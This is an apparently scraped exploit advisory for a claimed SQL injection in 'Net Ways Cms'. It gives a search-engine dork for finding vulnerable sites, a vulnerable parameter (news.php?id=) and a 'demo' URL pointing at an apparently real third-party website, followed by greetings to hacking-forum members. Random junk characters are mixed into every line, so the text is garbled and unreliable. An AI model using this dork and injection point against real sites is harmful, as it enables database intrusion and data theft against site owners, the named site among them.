################################################################################??######## 5 k) L( Q4 l& y- M; Q' n5 L
# * p H& D; o. ]/ P3 O+ r |' `2 R
# Exploit Title : Net Ways Cms Sql Injection Vulnerability ) O0 q+ x& J' n2 w
# ' V) y& T3 G6 N: @' ]7 w4 Z0 ?
# Author : IrIsT.Ir
7 t: z: m9 `0 s0 j3 k#
0 a1 F0 o! a, C2 |9 D! F* |# Discovered By : Am!r
; o) A8 d" `' x5 v. l! U#
) y' c% E8 _' T% T# Home : http://IrIsT.Ir/forum
/ X0 L/ y- L$ h3 f! ~* e1 z# 0 y& p0 W% [5 H5 Q; d W
# Software Link : http://www.netways.com/ www.political-security.com
3 B( R6 H3 N) D- u, K# / N9 K/ Z- |8 v0 g. I/ L+ A
# Security Risk : High
' i0 m# U% j2 ]4 F3 [2 T# - M( g3 _" R7 V/ x, }) H2 G7 H2 \
# Version : All Version , `) R9 Z- U0 Q! i6 i" o0 ]. D
#
& Z+ l1 l' l& X( l" x1 L( C# Tested on : GNU/Linux Ubuntu - Windows Server - win7
; b }5 u# }" H# * R' f8 {2 y6 [- M' }2 F X
# Dork : intext:"Designed & developed by NetWays" 2 K$ y' H; g, y, E( \
# 5 e. U: U4 t" |/ d: Q; R, J$ d7 O
################################################################################??######## 2 \4 p, \0 ]- m# _ k8 K7 `3 W% O
#
/ W0 E! i% {# }0 Q# Expl0iTs :
5 Y3 f1 z% G v- `# 2 m) g4 \5 m$ {( x3 @* g6 j
# http://target.com/news.php?id=[Sql]
$ {0 z* F) n2 g- W0 o( N9 i#
+ n8 E8 m& m4 y6 I; {% o; [#
" o7 h$ f) a/ P: _ m5 s0 L4 ~) x# D3mo : - c. f# |3 E4 g* A4 s
# 4 c; Q1 D5 o7 Q8 x+ `. z' J8 D
# http://compagnieparento.com/news.php?id=7[Sql] 9 Q; z& x/ e) X: j8 y4 d8 n
#
& R& Q, G2 m( e5 E; b) _################################################################################??######## ) N* E. X, _4 W5 ?. V
# # Z( W- K6 C% X8 D) f
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r $ U) i L$ ? i/ h# {
# * \1 s2 v% O3 d7 B! R% h: i
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r $ H4 ^% U( Y$ D; b
# 1 Q: j2 W% _; \
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
" B9 F, T% i! q; x# 3 u) \1 D* U: O1 X
################################################################################??######## |